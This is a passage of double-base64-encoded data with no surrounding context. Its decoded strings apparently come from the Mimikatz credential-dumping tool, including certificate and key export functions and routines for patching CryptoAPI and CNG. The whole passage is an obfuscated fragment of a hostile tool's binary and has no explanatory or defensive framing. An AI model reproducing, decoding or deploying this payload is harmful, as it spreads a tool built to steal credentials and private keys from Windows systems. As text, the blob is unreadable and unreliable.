nQUFBQUFBQUFBQUFDVUFkUUF0QUNVQU1BQTRBSGdBTGdBbEFITUFBQUFBQUFvQUNRQWdBQ0FBSUFCVEFIUUFZUUJ5QUhRQUx3QkZBRzRBWkFBdkFFMEFZUUI0QUZJQVpRQnVBR1VBZHdBNkFDQUFBQUFBQUFBQUNnQUpBQ0FBSUFBZ0FGTUFaUUJ5QUhZQWFRQmpBR1VBSUFCT0FHRUFiUUJsQUNBQUFBQUFBQW9BQ1FBZ0FDQUFJQUJVQUdFQWNnQm5BR1VBZEFBZ0FFNEFZUUJ0QUdVQUlBQWdBQUFBQUFBS0FBa0FJQUFnQUNBQVF3QnNBR2tBWlFCdUFIUUFJQUJPQUdFQWJRQmxBQ0FBSUFBQUFBQUFJQUFvQUNBQUpRQjNBRm9BSUFBcEFBQUFBQUFBQUFBQUNnQUpBQ0FBSUFBZ0FFWUFiQUJoQUdjQWN3QWdBQ1VBTUFBNEFIZ0FJQUFnQUNBQUlBQTZBQ0FBQUFBQUFBQUFDZ0FKQUNBQUlBQWdBRk1BWlFCekFITUFhUUJ2QUc0QUlBQkxBR1VBZVFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBd0FIZ0FKUUF3QURnQWVBQWdBQzBBSUFBbEFITUFBQUFBQUFBQUFBQUtBQWtBSUFBZ0FDQUFJQUFnQUFBQUNnQUpBQ0FBSUFBZ0FGUUFhUUJqQUdzQVpRQjBBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUF3QUhnQUpRQXdBRGdBZUFBZ0FDMEFJQUFsQUhNQUlBQTdBQ0FBYXdCMkFHNEFid0FnQUQwQUlBQWxBSFVBQUFBQUFBQUFBQUFKQUZzQUxnQXVBQzRBWFFBQUFBQUFiZ0JoQUcwQVpRQmZBR01BWVFCdUFHOEFiZ0JwQUdNQVlRQnNBR2tBZWdCbEFBQUFBQUFBQUc4QWF3QmZBR0VBY3dCZkFHUUFaUUJzQUdVQVp3QmhBSFFBWlFBQUFBQUFhQUIzQUY4QVlRQjFBSFFBYUFCbEFHNEFkQUFBQUFBQWNBQnlBR1VBWHdCaEFIVUFkQUJvQUdVQWJnQjBBQUFBYVFCdUFHa0FkQUJwQUdFQWJBQUFBSElBWlFCdUFHVUFkd0JoQUdJQWJBQmxBQUFBQUFBQUFHa0FiZ0IyQUdFQWJBQnBBR1FBQUFCd0FHOEFjd0IwQUdRQVlRQjBBR1VBWkFBQUFBQUFBQUJ0QUdFQWVRQmZBSEFBYndCekFIUUFaQUJoQUhRQVpRQUFBQUFBQUFBQUFIQUFjZ0J2QUhnQWVRQUFBQUFBQUFCd0FISUFid0I0QUdrQVlRQmlBR3dBWlFBQUFBQUFBQUJtQUc4QWNnQjNBR0VBY2dCa0FHVUFaQUFBQUFBQUFBQm1BRzhBY2dCM0FHRUFjZ0JrQUdFQVlnQnNBR1VBQUFBb0FDVUFNQUF5QUdnQWRRQXBBQ0FBT2dBZ0FBQUFBQUFsQUhjQVdnQWdBRHNBSUFBQUFBQUFLQUF0QUMwQUtRQWdBRG9BSUFBQUFFQUFJQUFsQUhjQVdnQUFBQUFBQUFCdUFIVUFiQUJzQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBQUFBQUFBQUFaQUJsQUhNQVh3QndBR3dBWVFCcEFHNEFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FBQUFBQUFBQUdRQVpRQnpBRjhBWXdCaUFHTUFYd0JqQUhJQVl3QWdBQ0FBSUFBZ0FDQUFJQUFBQUFBQUFBQmtBR1VBY3dCZkFHTUFZZ0JqQUY4QWJRQmtBRFFBSUFBZ0FDQUFJQUFnQUNBQUFBQUFBQUFBWkFCbEFITUFYd0JqQUdJQVl3QmZBRzBBWkFBMUFDQUFJQUFnQUNBQUlBQWdBQUFBQUFBQUFHUUFaUUJ6QUY4QVl3QmlBR01BWHdCdEFHUUFOUUJmQUc0QWRBQWdBQ0FBSUFBQUFBQUFBQUJ5QUdNQU5BQmZBSEFBYkFCaEFHa0FiZ0FnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFBQUFBQUFBQWNnQmpBRFFBWHdCd0FHd0FZUUJwQUc0QU1nQWdBQ0FBSUFBZ0FDQUFJQUFnQUFBQUFBQUFBSElBWXdBMEFGOEFjQUJzQUdFQWFRQnVBRjhBWlFCNEFIQUFJQUFnQUNBQUlBQUFBQUFBQUFCeUFHTUFOQUJmQUd3QWJRQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBQUFBQUFBQUFjZ0JqQURRQVh3QnRBR1FBTkFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FBQUFBQUFBQUhJQVl3QTBBRjhBY3dCb0FHRUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFBQUFBQUFBQnlBR01BTkFCZkFHZ0FiUUJoQUdNQVh3QnVBSFFBSUFBZ0FDQUFJQUFnQUNBQUFBQUFBQUFBY2dCakFEUUFYd0JvQUcwQVlRQmpBRjhBYmdCMEFGOEFaUUI0QUhBQUlBQWdBQUFBQUFBQUFISUFZd0EwQUY4QWNBQnNBR0VBYVFCdUFGOEFid0JzQUdRQUlBQWdBQ0FBSUFBQUFBQUFBQUJ5QUdNQU5BQmZBSEFBYkFCaEFHa0FiZ0JmQUc4QWJBQmtBRjhBWlFCNEFIQUFBQUFBQUFBQWNnQmpBRFFBWHdCb0FHMEFZUUJqQUY4QWJ3QnNBR1FBSUFBZ0FDQUFJQUFnQUFBQUFBQUFBSElBWXdBMEFGOEFhQUJ0QUdFQVl3QmZBRzhBYkFCa0FGOEFaUUI0QUhBQUlBQUFBQUFBQUFCaEFHVUFjd0F4QURJQU9BQmZBR2dBYlFCaEFHTUFYd0J3QUd3QVlRQnBBRzRBQUFBQUFBQUFZUUJsQUhNQU1nQTFBRFlBWHdCb0FHMEFZUUJqQUY4QWNBQnNBR0VBYVFCdUFBQUFBQUFBQUdFQVpRQnpBREVBTWdBNEFGOEFhQUJ0QUdFQVl3QWdBQ0FBSUFBZ0FDQUFJQUFBQUFBQUFBQmhBR1VBY3dBeUFEVUFOZ0JmQUdnQWJRQmhBR01BSUFBZ0FDQUFJQUFnQUNBQUFBQUFBQUFBZFFCdUFHc0FiZ0J2QUhjQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQUFBQUFBQUFITUFkQUJoQUhRQWRRQnpBQUFBQUFCekFHa0FiZ0JuQUd3QVpRQUFBQUFBYndCbUFHWUFBQUIwQUdVQWN3QjBBQUFBQUFBQUFBQUFZZ0IxQUhNQWVRQnNBR2tBWndCb0FIUUFBQUFBQUFBQVFnQjFBSE1BZVFCTUFHa0Fad0JvQUhRQUlBQk5BRzhBWkFCMUFHd0FaUUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZZ0IxQUhNQWVRQnNBR2tBWndCb0FIUUFYd0J2QUdZQVpnQWdBRHNBSUFCT0FHOEFJQUJDQUhVQWN3QjVBRXdBYVFCbkFHZ0FkQUFLQUFBQUFBQkpBRTRBVUFCVkFGUUFSUUJXQUVVQVRnQlVBQUFBQUFCTUFFa0FSd0JJQUZRQUFBQUFBQUFBVXdCUEFGVUFUZ0JFQUFBQUFBQUFBRW9BU1FCT0FFY0FUQUJGQUY4QVF3Qk1BRWtBVUFCVEFBQUFBQUFBQUFBQVFnQjFBSE1BZVFCTUFHa0Fad0JvQUhRQUlBQmtBR1VBZEFCbEFHTUFkQUJsQUdRQUNnQUFBQUFBQUFBQUFBQUFDZ0JiQUNVQU13QjFBRjBBSUFBbEFITUFDZ0FnQUNBQVZnQmxBRzRBWkFCdkFISUFPZ0FnQURBQWVBQWxBREFBTkFCNEFDd0FJQUJRQUhJQWJ3QmtBSFVBWXdCMEFEb0FJQUF3QUhnQUpRQXdBRFFBZUFBc0FDQUFWZ0JsQUhJQWN3QnBBRzhBYmdBNkFDQUFNQUI0QUNVQU1BQTBBSGdBQ2dBZ0FDQUFSQUJsQUhNQVl3QnlBR2tBY0FCMEFHa0Fid0J1QUNBQUlBQWdBRG9BSUFBbEFITUFDZ0FnQUNBQVF3QmhBSEFBWVFCaUFHa0FiQUJwQUhRQWFRQmxBSE1BSUFBZ0FEb0FJQUF3QUhnQUpRQXdBRElBZUFBZ0FDZ0FJQUFBQUFBQUFBQWxBSE1BTEFBZ0FBQUFBQUFwQUFvQUFBQUFBQUFBQUFBZ0FDQUFSQUJsQUhZQWFRQmpBR1VBSUFCSUFHRUFiZ0JrQUd3QVpRQTZBQ0FBTUFCNEFDVUFjQUFLQUFBQUFBQWdBQ0FBSUFBZ0FGTUFkQUJoQUhRQWRRQnpBQ0FBSUFBZ0FDQUFJQUE2QUNBQU1BQjRBQ1VBTUFBeUFIZ0FDZ0FBQUFBQUFBQUFBQ0FBSUFBZ0FDQUFVQUJ5QUc4QVpBQjFBR01BZEFCSkFHUUFJQUFnQURvQUlBQWxBRk1BQ2dBQUFBQUFBQUFBQUNBQUlBQWdBQ0FBUXdCdkFITUFkQUIxQUcwQVpRQnlBRWtBWkFBZ0FEb0FJQUFsQUZNQUNnQUFBQUFBQUFBQUFDQUFJQUFnQUNBQVRRQnZBR1FBWlFCc0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbEFGTUFDZ0FBQUFBQUFBQUFBQ0FBSUFBZ0FDQUFVd0JsQUhJQWFRQmhBR3dBSUFBZ0FDQUFJQUFnQURvQUlBQWxBRk1BQ2dBQUFBQUFBQUFBQUNBQUlBQWdBQ0FBVFFCbUFHY0FYd0JKQUVRQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUZNQUNnQUFBQUFBQUFBQUFDQUFJQUFnQUNBQVRRQm1BR2NBWHdCRUFHRUFkQUJsQUNBQUlBQWdBRG9BSUFBbEFGTUFDZ0FBQUFBQUFBQUFBQ0FBSUFBZ0FDQUFjd0IzQUhJQVpRQnNBR1VBWVFCekFHVUFJQUFnQURvQUlBQWxBRk1BQ2dBQUFBQUFBQUFBQUNBQUlBQkxBR1VBWlFCd0FFRUFiQUJwQUhZQVpRQWdBRlFBYUFCeUFHVUFZUUJrQURvQUlBQXdBSGdBSlFCd0FDQUFLQUFsQUhVQUlBQnRBSE1BS1FBS0FDQUFJQUJYQUc4QWNnQnJBR1VBY2dBZ0FGUUFhQUJ5QUdVQVlRQmtBQ0FBSUFBZ0FEb0FJQUF3QUhnQUpRQndBQ0FBS0FBbEFIVUFJQUJ0QUhNQUtRQUtBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWWdCMUFITUFlUUJzQUdrQVp3Qm9BSFFBWHdCekFIUUFZUUIwQUhVQWN3QWdBRHNBSUFCT0FHOEFJQUJDQUhVQWN3QjVBRXdBYVFCbkFHZ0FkQUFLQUFBQUFBQUFBRnNBSlFBekFIVUFYUUFnQUNVQWN3QWdBQ2dBSUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCaUFIVUFjd0I1QUd3QWFRQm5BR2dBZEFCZkFHd0FhUUJ6QUhRQUlBQTdBQ0FBVGdCdkFDQUFRZ0IxQUhNQWVRQk1BR2tBWndCb0FIUUFDZ0FBQUhNQWJ3QjFBRzRBWkFBQUFBQUFBQUJqQUc4QWJBQnZBSElBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHSUFkUUJ6QUhrQWJBQnBBR2NBYUFCMEFGOEFjd0JwQUc0QVp3QnNBR1VBSUFBN0FDQUFUZ0J2QUNBQVFnQjFBSE1BZVFCTUFHa0Fad0JvQUhRQUNnQUFBQUFBQUFCd0FISUFid0IyQUdrQVpBQmxBSElBY3dBQUFBQUFBQUJNQUdrQWN3QjBBQ0FBWXdCeUFIa0FjQUIwQUc4QVp3QnlBR0VBY0FCb0FHa0FZd0FnQUhBQWNnQnZBSFlBYVFCa0FHVUFjZ0J6QUFBQUFBQUFBQUFBY3dCMEFHOEFjZ0JsQUhNQUFBQUFBRXdBYVFCekFIUUFJQUJqQUhJQWVRQndBSFFBYndCbkFISUFZUUJ3QUdnQWFRQmpBQ0FBY3dCMEFHOEFjZ0JsQUhNQUFBQUFBQUFBWXdCbEFISUFkQUJwQUdZQWFRQmpBR0VBZEFCbEFITUFBQUFBQUFBQUFBQk1BR2tBY3dCMEFDQUFLQUJ2QUhJQUlBQmxBSGdBY0FCdkFISUFkQUFwQUNBQVl3QmxBSElBZEFCcEFHWUFhUUJqQUdFQWRBQmxBSE1BQUFBQUFBQUFhd0JsQUhrQWN3QUFBQUFBQUFBQUFFd0FhUUJ6QUhRQUlBQW9BRzhBY2dBZ0FHVUFlQUJ3QUc4QWNnQjBBQ2tBSUFCckFHVUFlUUJ6QUNBQVl3QnZBRzRBZEFCaEFHa0FiZ0JsQUhJQWN3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQVNBQmhBSE1BYUFBZ0FHRUFJQUJ3QUdFQWN3QnpBSGNBYndCeUFHUUFJQUIzQUdrQWRBQm9BQ0FBYndCd0FIUUFhUUJ2QUc0QVlRQnNBQ0FBZFFCekFHVUFjZ0J1QUdFQWJRQmxBQUFBQUFCYkFHVUFlQUJ3QUdVQWNnQnBBRzBBWlFCdUFIUUFZUUJzQUYwQUlBQlFBR0VBZEFCakFHZ0FJQUJEQUhJQWVRQndBSFFBYndCQkFGQUFTUUFnQUd3QVlRQjVBR1VBY2dBZ0FHWUFid0J5QUNBQVpRQmhBSE1BZVFBZ0FHVUFlQUJ3QUc4QWNnQjBBQUFBQUFBQUFBQUFXd0JsQUhnQWNBQmxBSElBYVFCdEFHVUFiZ0IwQUdFQWJBQmRBQ0FBVUFCaEFIUUFZd0JvQUNBQVF3Qk9BRWNBSUFCekFHVUFjZ0IyQUdrQVl3QmxBQ0FBWmdCdkFISUFJQUJsQUdFQWN3QjVBQ0FBWlFCNEFIQUFid0J5QUhRQUFBQUFBQUFBQUFCakFISUFlUUJ3QUhRQWJ3QUFBQUFBUXdCeUFIa0FjQUIwQUc4QUlBQk5BRzhBWkFCMUFHd0FaUUFBQUFBQUFBQnlBSE1BWVFCbEFHNEFhQUFBQUFBQVExQkZlSEJ2Y25STFpYa0FBQUFBQUc0QVl3QnlBSGtBY0FCMEFBQUFBQUJPUTNKNWNIUlBjR1Z1VTNSdmNtRm5aVkJ5YjNacFpHVnlBQUFBQUFBQUFFNURjbmx3ZEVWdWRXMUxaWGx6QUFCT1EzSjVjSFJQY0dWdVMyVjVBQUFBVGtOeWVYQjBTVzF3YjNKMFMyVjVBRTVEY25sd2RFVjRjRzl5ZEV0bGVRQk9RM0o1Y0hSSFpYUlFjbTl3WlhKMGVRQUFBQUFBQUFCT1EzSjVjSFJUWlhSUWNtOXdaWEowZVFBQUFBQUFBQUJPUTNKNWNIUkdjbVZsUW5WbVptVnlBQUFBQUFBQUFBQk9RM0o1Y0hSR2NtVmxUMkpxWldOMEFBQUFBQUFBQUFCQ1EzSjVjSFJGYm5WdFVtVm5hWE4wWlhKbFpGQnliM1pwWkdWeWN3QUFBRUpEY25sd2RFWnlaV1ZDZFdabVpYSUFBQUFBQUFBQUFBb0FRd0J5QUhrQWNBQjBBRzhBUVFCUUFFa0FJQUJ3QUhJQWJ3QjJBR2tBWkFCbEFISUFjd0FnQURvQUNnQUFBQ1VBTWdCMUFDNEFJQUFsQUhNQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR3dBWHdCd0FISUFid0IyQUdrQVpBQmxBSElBY3dBZ0FEc0FJQUJEQUhJQWVRQndBSFFBUlFCdUFIVUFiUUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUtBRU1BVGdCSEFDQUFjQUJ5QUc4QWRnQnBBR1FBWlFCeUFITUFJQUE2QUFvQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBSEFBY2dCdkFIWUFhUUJrQUdVQWNnQnpBQ0FBT3dBZ0FFSUFRd0J5QUhrQWNBQjBBRVVBYmdCMUFHMEFVZ0JsQUdjQWFRQnpBSFFBWlFCeUFHVUFaQUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBRU1BVlFCU0FGSUFSUUJPQUZRQVh3QlZBRk1BUlFCU0FBQUFBQUFBQUFBQWN3QjVBSE1BZEFCbEFHMEFjd0IwQUc4QWNnQmxBQUFBUVFCekFHc0FhUUJ1QUdjQUlBQm1BRzhBY2dBZ0FGTUFlUUJ6QUhRQVpRQnRBQ0FBVXdCMEFHOEFjZ0JsQUNBQUp3QWxBSE1BSndBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBSE1BZEFCdkFISUFaUUJ6QUNBQU93QWdBRU1BWlFCeUFIUUFSUUJ1QUhVQWJRQlRBSGtBY3dCMEFHVUFiUUJUQUhRQWJ3QnlBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFUUUI1QUFBQUFBQUFBQUFBY3dCMEFHOEFjZ0JsQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFxQUNBQVV3QjVBSE1BZEFCbEFHMEFJQUJUQUhRQWJ3QnlBR1VBSUFBZ0FEb0FJQUFuQUNVQWN3QW5BQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BSUFBcUFDQUFVd0IwQUc4QWNnQmxBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbkFDVUFjd0FuQUFvQUNnQUFBQUFBS0FCdUFIVUFiQUJzQUNrQUFBQUFBQUFBQUFBQUFBQUFDUUJMQUdVQWVRQWdBRU1BYndCdUFIUUFZUUJwQUc0QVpRQnlBQ0FBSUFBNkFDQUFKUUJ6QUFvQUNRQlFBSElBYndCMkFHa0FaQUJsQUhJQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQUFBQUFBa0FWQUI1QUhBQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JzQUY4QVl3QmxBSElBZEFCcEFHWUFhUUJqQUdFQWRBQmxBSE1BSUFBN0FDQUFRd0J5QUhrQWNBQjBBRWNBWlFCMEFGVUFjd0JsQUhJQVN3QmxBSGtBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmpBSElBZVFCd0FIUUFid0JmQUd3QVh3QmpBR1VBY2dCMEFHa0FaZ0JwQUdNQVlRQjBBR1VBY3dBZ0FEc0FJQUJyQUdVQWVRQlRBSEFBWlFCakFDQUFQUUE5QUNBQVF3QkZBRklBVkFCZkFFNEFRd0JTQUZrQVVBQlVBRjhBU3dCRkFGa0FYd0JUQUZBQVJRQkRBQ0FBZHdCcEFIUUFhQUJ2QUhVQWRBQWdBRU1BVGdCSEFDQUFTQUJoQUc0QVpBQnNBR1VBSUFBL0FBb0FBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JqQUhJQWVRQndBSFFBYndCZkFHd0FYd0JqQUdVQWNnQjBBR2tBWmdCcEFHTUFZUUIwQUdVQWN3QWdBRHNBSUFCREFISUFlUUJ3QUhRQVFRQmpBSEVBZFFCcEFISUFaUUJEQUdVQWNnQjBBR2tBWmdCcEFHTUFZUUIwQUdVQVVBQnlBR2tBZGdCaEFIUUFaUUJMQUdVQWVRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBYkFCZkFHTUFaUUJ5QUhRQWFRQm1BR2tBWXdCaEFIUUFaUUJ6QUNBQU93QWdBRU1BWlFCeUFIUUFSd0JsQUhRQVF3QmxBSElBZEFCcEFHWUFhUUJqQUdFQWRBQmxBRU1BYndCdUFIUUFaUUI0QUhRQVVBQnlBRzhBY0FCbEFISUFkQUI1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QnNBRjhBWXdCbEFISUFkQUJwQUdZQWFRQmpBR0VBZEFCbEFITUFJQUE3QUNBQVF3QmxBSElBZEFCSEFHVUFkQUJPQUdFQWJRQmxBRk1BZEFCeUFHa0FiZ0JuQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QnNBRjhBWXdCbEFISUFkQUJwQUdZQWFRQmpBR0VBZEFCbEFITUFJQUE3QUNBQVF3QmxBSElBZEFCSEFHVUFkQUJPQUdFQWJRQmxBRk1BZEFCeUFHa0FiZ0JuQUNBQUtBQm1BRzhBY2dBZ0FHd0FaUUJ1QUNrQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR01BWlFCeUFIUUFhUUJtQUdrQVl3QmhBSFFBWlFCekFDQUFPd0FnQUVNQVpRQnlBSFFBVHdCd0FHVUFiZ0JUQUhRQWJ3QnlBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUhBQWNnQnZBSFlBYVFCa0FHVUFjZ0FBQUFBQUFBQUFBSEFBY2dCdkFIWUFhUUJrQUdVQWNnQjBBSGtBY0FCbEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCTkFHa0FZd0J5QUc4QWN3QnZBR1lBZEFBZ0FGTUFid0JtQUhRQWR3QmhBSElBWlFBZ0FFc0FaUUI1QUNBQVV3QjBBRzhBY2dCaEFHY0FaUUFnQUZBQWNnQnZBSFlBYVFCa0FHVUFjZ0FBQUdNQWJnQm5BSEFBY2dCdkFIWUFhUUJrQUdVQWNnQUFBQUFBQUFBQUFBQUFJQUFxQUNBQVV3QjBBRzhBY2dCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFuQUNVQWN3QW5BQW9BSUFBcUFDQUFVQUJ5QUc4QWRnQnBBR1FBWlFCeUFDQUFJQUFnQUNBQUlBQWdBRG9BSUFBbkFDVUFjd0FuQUNBQUtBQW5BQ1VBY3dBbkFDa0FDZ0FnQUNvQUlBQlFBSElBYndCMkFHa0FaQUJsQUhJQUlBQjBBSGtBY0FCbEFDQUFPZ0FnQUNjQUpRQnpBQ2NBSUFBb0FDVUFkUUFwQUFvQUlBQXFBQ0FBUXdCT0FFY0FJQUJRQUhJQWJ3QjJBR2tBWkFCbEFISUFJQUFnQURvQUlBQW5BQ1VBY3dBbkFBb0FBQUFBQUFBQUFBQUtBRU1BY2dCNUFIQUFkQUJ2QUVFQVVBQkpBQ0FBYXdCbEFIa0Fjd0FnQURvQUNnQUFBQUFBQ2dBbEFESUFkUUF1QUNBQUpRQnpBQW9BQUFBQUFBQUFJQUFnQUNBQUlBQWxBRk1BQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVl3QnlBSGtBY0FCMEFHOEFYd0JzQUY4QWF3QmxBSGtBY3dBZ0FEc0FJQUJEQUhJQWVRQndBSFFBUndCbEFIUUFWUUJ6QUdVQWNnQkxBR1VBZVFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWJBQmZBR3NBWlFCNUFITUFJQUE3QUNBQVF3QnlBSGtBY0FCMEFFY0FaUUIwQUZBQWNnQnZBSFlBVUFCaEFISUFZUUJ0QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBS0FFTUFUZ0JIQUNBQWF3QmxBSGtBY3dBZ0FEb0FDZ0FBQUFBQUFBQUFBRlVBYmdCcEFIRUFkUUJsQUNBQVRnQmhBRzBBWlFBQUFDQUFJQUFnQUNBQUpRQnpBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdNQWNnQjVBSEFBZEFCdkFGOEFiQUJmQUdzQVpRQjVBSE1BSUFBN0FDQUFUZ0JEQUhJQWVRQndBSFFBVHdCd0FHVUFiZ0JMQUdVQWVRQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmpBSElBZVFCd0FIUUFid0JmQUd3QVh3QnJBR1VBZVFCekFDQUFPd0FnQUU0QVF3QnlBSGtBY0FCMEFFVUFiZ0IxQUcwQVN3QmxBSGtBY3dBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QnNBRjhBYXdCbEFIa0Fjd0FnQURzQUlBQk9BRU1BY2dCNUFIQUFkQUJQQUhBQVpRQnVBRk1BZEFCdkFISUFZUUJuQUdVQVVBQnlBRzhBZGdCcEFHUUFaUUJ5QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUFBQVJRQjRBSEFBYndCeUFIUUFJQUJRQUc4QWJBQnBBR01BZVFBQUFBQUFBQUJNQUdVQWJnQm5BSFFBYUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmpBSElBZVFCd0FIUUFid0JmQUhBQWNnQnBBRzRBZEFCTEFHVUFlUUJKQUc0QVpnQnZBSE1BSUFBN0FDQUFUZ0JEQUhJQWVRQndBSFFBUndCbEFIUUFVQUJ5QUc4QWNBQmxBSElBZEFCNUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR01BY2dCNUFIQUFkQUJ2QUY4QWNBQnlBR2tBYmdCMEFFc0FaUUI1QUVrQWJnQm1BRzhBY3dBZ0FEc0FJQUJEQUhJQWVRQndBSFFBUndCbEFIUUFTd0JsQUhrQVVBQmhBSElBWVFCdEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUZrQVJRQlRBQUFBVGdCUEFBQUFBQUFKQUVVQWVBQndBRzhBY2dCMEFHRUFZZ0JzQUdVQUlBQnJBR1VBZVFBZ0FEb0FJQUFsQUhNQUNnQUpBRXNBWlFCNUFDQUFjd0JwQUhvQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQWxBSFVBQ2dBQUFBQUFVZ0JUQUVFQVVBQlNBRWtBVmdCQkFGUUFSUUJDQUV3QVR3QkNBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWXdCeUFIa0FjQUIwQUc4QVh3QmxBSGdBY0FCdkFISUFkQUJTQUdFQWR3QkxBR1VBZVFCVUFHOEFSZ0JwQUd3QVpRQWdBRHNBSUFCT0FFTUFjZ0I1QUhBQWRBQlRBR1VBZEFCUUFISUFid0J3QUdVQWNnQjBBSGtBQ2dBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCakFISUFlUUJ3QUhRQWJ3QmZBR1VBZUFCd0FHOEFjZ0IwQUZJQVlRQjNBRXNBWlFCNUFGUUFid0JHQUdrQWJBQmxBQ0FBT3dBZ0FFNEFRd0J5QUhrQWNBQjBBRWtBYlFCd0FHOEFjZ0IwQUVzQVpRQjVBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHTUFjZ0I1QUhBQWRBQnZBRjhBWlFCNEFIQUFid0J5QUhRQVVnQmhBSGNBU3dCbEFIa0FWQUJ2QUVZQWFRQnNBR1VBSUFBN0FDQUFU